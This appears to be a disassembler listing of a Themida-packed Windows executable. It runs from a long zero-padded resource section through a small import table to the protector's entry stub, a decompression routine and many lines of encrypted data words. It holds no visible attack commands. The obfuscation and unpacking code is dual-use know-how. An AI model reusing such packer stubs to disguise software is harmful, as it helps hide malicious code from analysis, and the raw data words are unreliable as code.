		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
_rsrc___	ends

; Section 3. (virtual address 00112000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00001000 (   4096.)
; Offset to raw	data for section: 00112000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata__	segment	para public 'DATA' use32
		assume cs:_idata__
		;org 512000h
		dd 7C801A24h, 7C81CDDAh, 0
aE		db 'Ïe',9,']',0
		align 10h
		dd 112050h, 112000h, 3 dup(0)
		dd 112079h, 11200Ch, 5 dup(0)
aKernel32_dll_1	db 'KERNEL32.dll',0
		db 2 dup(0), 43h
aReatefilea	db 'reateFileA',0
		align 4
		dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
		dd 6C642E32h, 6Ch
aInitcommoncont	db 'InitCommonControls',0
		align 1000h
_idata__	ends

; Section 4. (virtual address 00113000)
; Virtual size			: 0010A000 (1089536.)
; Section size in file		: 0010A000 (1089536.)
; Offset to raw	data for section: 00113000
; Flags	E0000060: Text Data Executable Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
Themida_	segment	para public 'CODE' use32
		assume cs:Themida_
		;org 513000h
		assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
		dd 0AE95652Ah, 48425h, 5EAE6h, 158172h,	0

; =============== S U B	R O U T	I N E =======================================


		public start

start		proc near

var_1C		= dword	ptr -1Ch

; FUNCTION CHUNK AT 00513265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00579A2F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0057CF4C SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0057D1C2 SIZE 00000061 BYTES

		mov	eax, 0
		pusha
		or	eax, eax
		jz	short loc_513086
		call	$+5
		pop	eax
		add	eax, 53h
		cmp	byte ptr [eax],	0E9h
		jnz	short loc_513041
		popa
		jmp	short loc_513076
; ---------------------------------------------------------------------------
		db 0DBh, 2Dh, 37h
		db 30h,	51h, 0
		dt 9.2233720368547758075e18
; ---------------------------------------------------------------------------


loc_513041:				; CODE XREF: start+18j
		call	$+5
		pop	eax
		and	eax, 0FFFFF000h
		xor	edi, edi


loc_51304E:				; CODE XREF: start+5Ej
		mov	bx, 5A19h
		add	bx, 34h
		cmp	[eax], bx
		jnz	short loc_51306D
		movzx	edx, word ptr [eax+3Ch]
		add	edx, eax
		mov	ebx, 44E9h
		add	ebx, 67h
		cmp	[edx], ebx
		jz	short loc_513074


loc_51306D:				; CODE XREF: start+45j
		sub	eax, 1000h
		jmp	short loc_51304E
; ---------------------------------------------------------------------------


loc_513074:				; CODE XREF: start+57j
		mov	edi, eax


loc_513076:				; CODE XREF: start+1Bj
		jmp	loc_513265
; ---------------------------------------------------------------------------
		add	eax, edi
		mov	ecx, 11326Ah
		add	ecx, edi
		jmp	short loc_513090
; ---------------------------------------------------------------------------


loc_513086:				; CODE XREF: start+8j
		mov	eax, offset loc_579A2F
		mov	ecx, offset word_51326A


loc_513090:				; CODE XREF: start+70j
		push	eax
		push	ecx
		call	sub_51311B
		call	$+5
		pop	eax
		sub	eax, 26h
		mov	ecx, 1EFh
		mov	byte ptr [eax],	0E9h
		sub	ecx, 5
		mov	[eax+1], ecx
		popa
		jmp	loc_513265
start		endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		dw 9328h
		dd 788AE4C9h, 815EBCh, 63432DA8h, 0F065446Ch, 3ADC23BEh
		dd 759CA4D8h, 3163C78Eh, 93264C98h, 78F2E4C9h, 172F5EBCh
		dd 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh
		dd 1848C86h, 662A4924h,	1799B7DEh, 9122458Bh, 0D8B164C8h
		dd 0DCBA75EBh, 1D3B76EDh, 3163C78Eh, 93264C98h
		db 0C8h, 0E4h, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_51311B	proc near		; CODE XREF: start+7Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	esi, [esp+20h+arg_0]
		mov	edi, [esp+20h+arg_4]
		cld
		mov	dl, 80h


loc_513127:				; CODE XREF: sub_51311B:loc_51313Bj
		mov	al, [esi]
		inc	esi
		mov	[edi], al
		inc	edi
		mov	ebx, 2


loc_513132:				; CODE XREF: sub_51311B+7Aj
					; sub_51311B+C3j ...
		add	dl, dl
		jnz	short loc_51313B
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51313B:				; CODE XREF: sub_51311B+19j
		jnb	short loc_513127
		add	dl, dl
		jnz	short loc_513146
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513146:				; CODE XREF: sub_51311B+24j
		jnb	short loc_513197
		xor	eax, eax
		add	dl, dl
		jnz	short loc_513153
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513153:				; CODE XREF: sub_51311B+31j
		jnb	loc_513238
		add	dl, dl
		jnz	short loc_513162
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513162:				; CODE XREF: sub_51311B+40j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_51316D
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_51316D:				; CODE XREF: sub_51311B+4Bj
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513178
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513178:				; CODE XREF: sub_51311B+56j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_513183
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513183:				; CODE XREF: sub_51311B+61j
		adc	eax, eax
		jz	short loc_51318D
		push	edi
		sub	edi, eax
		mov	al, [edi]
		pop	edi


loc_51318D:				; CODE XREF: sub_51311B+6Aj
		mov	[edi], al
		inc	edi
		mov	ebx, 2
		jmp	short loc_513132
; ---------------------------------------------------------------------------


loc_513197:				; CODE XREF: sub_51311B:loc_513146j
		mov	eax, 1


loc_51319C:				; CODE XREF: sub_51311B:loc_5131B0j
		add	dl, dl
		jnz	short loc_5131A5
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131A5:				; CODE XREF: sub_51311B+83j
		adc	eax, eax
		add	dl, dl
		jnz	short loc_5131B0
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131B0:				; CODE XREF: sub_51311B+8Ej
		jb	short loc_51319C
		sub	eax, ebx
		mov	ebx, 1
		jnz	short loc_5131E3
		mov	ecx, 1


loc_5131C0:				; CODE XREF: sub_51311B:loc_5131D4j
		add	dl, dl
		jnz	short loc_5131C9
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131C9:				; CODE XREF: sub_51311B+A7j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_5131D4
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131D4:				; CODE XREF: sub_51311B+B2j
		jb	short loc_5131C0
		push	esi
		mov	esi, edi
		sub	esi, ebp
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_5131E3:				; CODE XREF: sub_51311B+9Ej
		dec	eax
		shl	eax, 8
		mov	al, [esi]
		inc	esi
		mov	ebp, eax
		mov	ecx, 1


loc_5131F1:				; CODE XREF: sub_51311B:loc_513205j
		add	dl, dl
		jnz	short loc_5131FA
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_5131FA:				; CODE XREF: sub_51311B+D8j
		adc	ecx, ecx
		add	dl, dl
		jnz	short loc_513205
		mov	dl, [esi]
		inc	esi
		adc	dl, dl


loc_513205:				; CODE XREF: sub_51311B+E3j
		jb	short loc_5131F1
		cmp	eax, 7D00h
		jnb	short loc_513228
		cmp	eax, 500h
		jb	short loc_513223
		inc	ecx
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513223:				; CODE XREF: sub_51311B+F8j
		cmp	eax, 7Fh
		ja	short loc_51322B


loc_513228:				; CODE XREF: sub_51311B+F1j
		add	ecx, 2


loc_51322B:				; CODE XREF: sub_51311B+10Bj
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513238:				; CODE XREF: sub_51311B:loc_513153j
		mov	al, [esi]
		inc	esi
		xor	ecx, ecx
		shr	al, 1
		jz	short loc_513259
		adc	ecx, 2
		mov	ebp, eax
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		mov	ebx, 1
		jmp	loc_513132
; ---------------------------------------------------------------------------


loc_513259:				; CODE XREF: sub_51311B+125j
		sub	edi, [esp+20h+arg_4]
		mov	[esp+20h+var_4], edi
		popa
		retn	8
sub_51311B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR start


loc_513265:				; CODE XREF: start:loc_513076j
					; start+9Dj
		jmp	loc_579A2F
; END OF FUNCTION CHUNK	FOR start
; ---------------------------------------------------------------------------
word_51326A	dw 38E9h		; DATA XREF: start+77o
		dd 1523518h, 3B22F2FAh,	0CEBB3B84h, 0BEEB1001h,	1EE13522h
		dd 8401F3AFh, 78B8FF2Ah, 0FE1FE1h, 6D656854h, 0E1616469h
		dd 0DE96FA1Ah, 7024F31Ch, 0E4D78D03h, 77215C71h, 6552035Eh
		dd 72617473h, 0C5704199h, 0F378E92Eh, 11AC6F84h, 0EB3B848Bh
		dd 42B821C8h, 9822EFEAh, 0F2AA1AE1h, 0AB112E36h, 0ACCB5FAFh
		dd 0A533FCEBh, 0D788AE01h, 4D009D5h, 0D1F524CFh, 9D03A592h
		dd 8B8EFF10h, 60D442C5h, 815D10E8h, 3527ED00h, 95890615h
		dd 0D2D6185h, 172AA5B5h, 27E5B2h, 7A9BD83h, 0C748083h
		dd 29E8728Bh, 1EF1B8E2h, 4470F1C2h, 3E10C724h, 6A062559h
		dd 29A3E845h, 749A6807h, 0DFA50783h, 4B250A01h,	0D5E90A89h
		dd 214E910h, 7DECA5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFD8h
		lodsb
		out	dx, al
		add	al, 5Ah
		sub	edx, 8B003615h
		fcmovb	st, st(7)
		inc	ebp
		fcom	dword ptr [ecx+400EB108h]
		mov	[edi-33827EF8h], ecx
		sbb	byte ptr ds:200F6774h, 8
		repne cmp dword	ptr [edi+49h], 10h
		inc	dword ptr [esi-1E14BCEEh]
		db	36h
		aaa
		fsub	qword ptr [ecx+26h]
		inc	ecx
		leave
		retn	4004h
; ---------------------------------------------------------------------------
		db 46h
		dd 687CC481h, 0E44902FFh, 458D405Eh, 145D8B80h,	1985C708h
		dd 0A08D5044h, 0AC3D10Ah, 89411888h, 0BD818A0Bh, 295D2006h
		dd 4227E375h, 648EBA8Dh, 8A8075C0h, 0F449BB0Eh,	0ABB8005Bh
		dd 0D3785437h, 0C30FFCD0h, 0F7754B08h, 47C3AFB0h, 464A4652h
		dd 42F92A46h, 8A61D12Bh, 0F075D0A0h, 45EE8AFDh,	0EB0A4DFCh
		dd 8C3CAD04h, 403E8046h, 84BA53F7h, 7D61346Eh, 907FEB0Ch
		dd 6DCCF83Eh, 0CA84F012h, 8110F40Eh, 0F065C14Ah, 0F8D64004h
		dd 339E0D1h, 332860C2h,	1C1C8ADBh, 0CCFB8030h, 390A0A72h
		dd 3E05773Dh, 2267F2EBh, 0DF66114h, 6F667F0Ah, 4E5F1E08h
		dd 10AC0AC3h, 7230411Ah, 77460A0Bh, 0A224DE06h,	0F05D0118h
		dd 7383F4ECh, 72021B7Dh, 0C0370CB0h, 0AA66A576h, 0CEF84126h
		dd 0A86A8D07h, 0FC553B00h, 0A978820Fh, 0AAC1B0BDh, 0BA5038BEh
		dd 0E0B9E008h, 0BDFCA870h, 0FE3740A4h, 49470F01h, 22B9FA75h
		dd 0BBDC6AC5h, 12310701h, 6DEB82F1h, 868ED802h,	16399F03h
		dd 83655107h, 0CE5DF436h, 3EF1268Ah, 5944E9h, 0F3F2B6BCh
		dd 0DA8C675Dh, 10C32C06h, 6230689h, 0EBFB87BCh,	0F1674008h
		dd 58E16BA2h, 258704E9h, 20C46021h, 5257D8Ah, 8458233h
		dd 4821001Eh, 5CF6C458h, 2B00887Dh, 0C0F8FB30h,	0EB8101Ah
		dd 34CB8CDFh, 39826700h, 76305B4Eh, 3D511C0Fh, 76D17C04h
		dd 4E46613Bh, 0D52E0975h, 0EC5D8211h, 8F9065E4h, 0C584A059h
		dd 54968E05h, 8F5388B2h, 29C2040Ah, 0C4718C8Ch,	0F00EDBE7h
		dd 2B0CFFB3h, 22047781h, 0C134011Dh, 7533F984h,	3FBC9020h
		dd 670A7677h, 330230EFh, 8C89EC41h, 0FFCC9F7Fh,	45CF4090h
		dd 5060E9EAh, 5200C462h, 11254D8Ch, 84B1AA82h, 845AABCDh
		dd 0A6561308h, 825E0AEEh, 0A881BDEEh, 8A7B440Fh, 13A2B9FAh
		dd 29972305h, 57F60243h, 0E4C45F30h, 2275468Ah,	57470416h
		dd 800323C4h, 0D881DF28h, 8D066D76h, 0BE951DAh,	476C0E29h
		dd 0AB4079F9h, 2337A00Ah, 1F0DEA31h, 0EDECDA6Eh, 261D0007h
		dd 0BD083D75h, 81E25C9Ch, 0B805E228h, 0DF51CC00h, 8610CA0Bh
		dd 873DDD35h, 93C8DAC0h, 0F0352EB6h, 5C3A1B02h,	9D001723h
		dd 0EAF921B7h, 8119C210h, 3193E1DCh, 8AF259E4h,	1D17EBF3h
		dd 0CA8BC18h, 1216507Fh, 60E92940h, 82D2310Ch, 2600462Ch
		dd 0F1A51844h, 3961A686h, 8C85CFB8h, 0E9010F3h,	5B20622Fh
		dd 0E1F1F782h, 0C21DC3Bh, 1E6CFEC3h, 1BCE3169h,	8013EA0Ah
		dd 0B7FFF733h, 73EBD783h, 3E1F00DFh, 31732338h,	7024E37h
		dd 0E96159D4h, 7FDD200Dh, 0ED03228Fh, 962D21DFh, 0E7EA9720h
		dd 85FD10Ch, 506277C2h,	48DFC20Bh, 0F2034F7Fh, 649395B8h
		dd 0EE69BFD8h, 5B0EAFCh, 6288A24h, 0DBC28EBCh, 8974FB4Eh
		dd 77800EEAh, 0D0E59C8Fh, 0C1016817h, 14F9F8DEh, 6A9C50C6h
		dd 6752C0DAh, 90FB81BCh, 4284032Ch, 0E1576118h,	0C5F0011Ah
		dd 0E94B6225h, 8F271010h, 0AB940E9Ah, 0E2A05D93h, 8EEF3B9h
		dd 0C0E74800h, 71887626h, 2149485Ch, 9641932Ch,	0B02C008Ch
		dd 3108ADB2h, 806EB139h, 35E0BC03h, 94EA0EAh, 0A11DBF88h
		dd 8C965B00h, 90073A7h,	14369DDCh, 1D99132Dh, 0F058F738h
		dd 0E3858748h, 0A10EB001h, 0B3808B50h, 62EEF0h,	19812803h
		dd 85BEEACAh, 7679B960h, 0ACDA71h, 0DBED3702h, 3080883Dh
		dd 1E2180FDh, 3FB8CD6Ah, 0EFD6009Ah, 0B1AC395Dh, 2000104Eh
		dd 0A637DDA1h, 0E9E48h,	823DBF30h, 10311612h, 73773479h
		dd 0FDF3Bh, 3E51E79Dh, 3A27DC0h, 89066777h, 2D3A1BAh, 0A8ADA800h
		dd 0C0467527h, 0DF35041Dh, 0BC9C04h, 779F6DB3h,	32690129h
		dd 38A1BD2Eh, 8839817Ch, 63DC477Bh, 15E6118Ch, 86009B3Ah
		dd 9FEDAC46h, 9136F2h, 0C70C0E09h, 2F223967h, 0ADB10F00h
		dd 46056319h, 15E700DCh, 0F889255Ch, 0ABF029AFh, 13621401h
		dd 5A61E5A2h, 0B356C0D3h, 54840648h, 21072242h,	41F03F3Fh
		dd 501F80E0h, 0E97B1C0Dh, 3C172800h, 0F998C700h, 3B01792Eh
		dd 0F08200DEh, 7B39AABDh, 2203E7B3h, 15621E56h,	1884FBC4h
		dd 5103CF81h, 4C0088E9h, 11817F12h, 38B1A25h, 129565Fh
		dd 169D2842h, 919E1848h, 0EA0015C8h, 66A8751Ah,	1E25C188h
		dd 4C0DCAh, 86402E0Bh, 8930F885h, 0B78388B4h, 0B9616790h
		dd 6AEB10C2h, 860160FCh, 3B213574h, 50801B1Ah, 79DDE672h
		dd 45018039h, 6C258447h, 898008CCh, 0A19283CFh,	963B5968h
		dd 7E2192C1h, 7805110h,	0FDE66DDFh, 457106A0h, 42D700ADh
		dd 0D4D2E80h, 823035C8h, 0FC54A87Ch, 3D3930D5h,	138A2F28h
		dd 6BB5715h, 0A26707C8h, 0E440410Eh, 0E2C43231h, 0DB72D9h
		dd 6D9B9279h, 0E5343CDh, 5C1C99C2h, 7490A341h, 0C2FD8F2h
		dd 387902CCh, 0D588FE8Ah, 6A8E21C0h, 1608CB00h,	0FBE9E074h
		dd 785300C4h, 0A306EE6Eh, 94A87EE5h, 39901925h,	805D453Bh
		dd 619ABCB8h, 3C351802h, 0C93873E1h, 0B8DE1094h, 397DE518h
		dd 0B0006F8h, 6B0E761Ah, 28DDE88Eh, 71A82AF9h, 0C87208DEh
		dd 0CF0614B6h, 38653Ah,	0F53493D3h, 5C452B95h, 4032700h
		dd 7E9F3BB2h, 6E383A87h, 98308C9Fh, 510EE94Dh, 0F843D800h
		dd 0D175BAABh, 297D005Bh, 6CA4301Fh, 3F482C42h,	807C885Ch
		dd 827ACEDDh, 0DF027ED7h, 1DCD2F25h, 520489Eh, 0B6B12491h
		dd 48A4011Ch, 0CB79A906h, 3DC8100Ah, 6D94E026h,	30907548h
		dd 97DBF21h, 98132B43h,	0E53491FCh, 58218071h, 0E8746CB4h
		dd 0CEF71869h, 0E2C5D0F6h, 5025DA00h, 0B026AF3Ch, 30110486h
		dd 802304D2h, 29A4510Ch, 42C3B219h, 80876F10h, 0C1B4C52Ch
		dd 8544C4D2h, 0A8C17318h, 0CF47B041h, 0BB304360h, 84A748C4h
		dd 545D4440h, 36A442h, 0E7F65FFh, 0B34E0FD0h, 2C998217h
		dd 0C38F1500h, 0C03ECCECh, 0FFE068D1h, 9FF41204h, 53FB302h
		dd 0E0573CBEh, 0A0538EBFh, 91D221F4h, 6C0F3E68h, 4046C7B7h
		dd 0A20F99BEh, 0C047A081h, 0C5127B3Ah, 5F880077h, 0CB1D2966h
		dd 0E77BF053h, 9002E524h, 0D1CD2600h, 0E8079C60h, 5B7F0088h
		dd 1255AEA5h, 0D90027C3h, 0EF2E697Bh, 9E642h, 371ED496h
		dd 0C2A45B33h, 4783ED00h, 7DD7F6C1h, 0E8F40165h, 0A0FF09DBh
		dd 4D98E07Ch, 24663501h, 0DE903C1Ch, 0E7E0F4h, 0F1ECC96h
		dd 0EBC09A72h, 0B41CF100h, 0A5CAE2C7h, 9C9844h,	0C483B2A4h
		dd 8C8043D1h, 0DD60BB05h, 0D4453886h, 0B44C625Dh, 24A030BDh
		dd 72889B1h, 488A1B5Eh,	0AAC47285h, 1D42904Fh, 0F61B2FC7h
		dd 1F207576h, 0CF7C7C5h, 751475Ch, 0B724570Fh, 6A0EE06Bh
		dd 181868E4h, 49B4FCD5h, 2600E935h, 0BEEE9407h,	3C7EA31h
		dd 23246E2Eh, 73C06B8Ch, 8AF479C4h, 0C5C958A3h,	2F4183A6h
		dd 43B7BBAh, 0CC34B518h, 32A20005h, 0F6F0DCh, 63852D04h
		dd 9239E10Ch, 1DECD8C4h, 0E05D8088h, 18AC61DDh,	0D287B7F5h
		dd 0D47D1401h, 182028EDh, 0A472F248h, 0E8DA103Ch, 34A5004Dh
		dd 0CDFC74A1h, 30236CD5h, 40408420h, 2B5F34C5h,	74A4018Ah
		dd 11ACC672h, 96CCD348h, 62D8E289h, 0C9F6317Eh,	140040C4h
		dd 0B347E7B5h, 3089179h, 0B7A44953h, 21026483h,	3094C651h
		dd 32006001h, 34755815h, 88F93FC5h, 1B19304Ch, 8588791Eh
		dd 16057824h, 418CBDA9h, 0CFB1A188h, 0D0888B48h, 8B4401C7h
		dd 0B1A8A5E1h, 2B6E007Ch, 439934E4h, 909A3625h,	4F633F7Ah
		dd 0ADE869h, 0AA9BF131h, 0F40C3C3Eh, 0A01C7700h, 0BEE15835h
		dd 2C01061Fh
		dd 705F48D2h, 0DAF020F6h, 102FD434h, 0E245481h,	405D1511h
		dd 3866F364h, 0FD01B47Fh, 0BAEC4481h, 0E5DCFCD6h, 7CC0A02Dh
		dd 0D0B54C6Eh, 5F958B17h, 31CDC614h, 42012022h,	39EE528Eh
		dd 35C4C7B1h, 7465499Ah, 88F11C40h, 79C05C5Dh, 96EBAFC8h
		dd 0FDF7026Bh, 0D22D972h, 0B8200844h, 40B26245h, 429D18Ah
		dd 0CF4BD378h, 17C86090h, 6BDAF400h, 4EC1EA3h, 0A7BF37FDh
		dd 0C926D028h, 0B891E805h, 24581600h, 0FE97F7A0h, 2E1B2A21h
		dd 225C92F4h, 850A0DDEh, 0E8874198h, 7254205h, 97900C5Fh
		dd 59A1AB18h, 794986ADh, 4AC5624h, 60C8D997h, 0ADCDF901h
		dd 826C249Ah, 705A1820h, 0B8E0A063h, 33B08142h,	22684C88h
		dd 0DC6B0070h, 79A8BEB2h, 0DB37B1A4h, 0AC6A3046h, 0C5FC1901h
		dd 608225BDh, 4AEE4072h, 8083B8A7h, 97433F7Dh, 8CACDFAh
		dd 0B28B0844h, 40430580h, 4E90C01Dh, 0BDD5FD06h, 0DB04504Ah
		dd 6424E882h, 5348E4C0h, 0F40851EEh, 401AF020h,	1B182867h
		dd 3F180E56h, 814E60E1h, 648A29B3h, 0F8905092h,	0BC2F212Eh
		dd 0B9F08280h, 0D65742Eh, 0F561DC8h, 43B5CC40h,	0C07C2D5Ch
		dd 88B7B4C3h, 0FC88A96Fh, 7382CE20h, 12F892B0h,	839A3DC1h
		dd 0D9C0CB18h, 0E2092AF0h, 90E66CEEh, 3DFA0148h, 0D6939775h
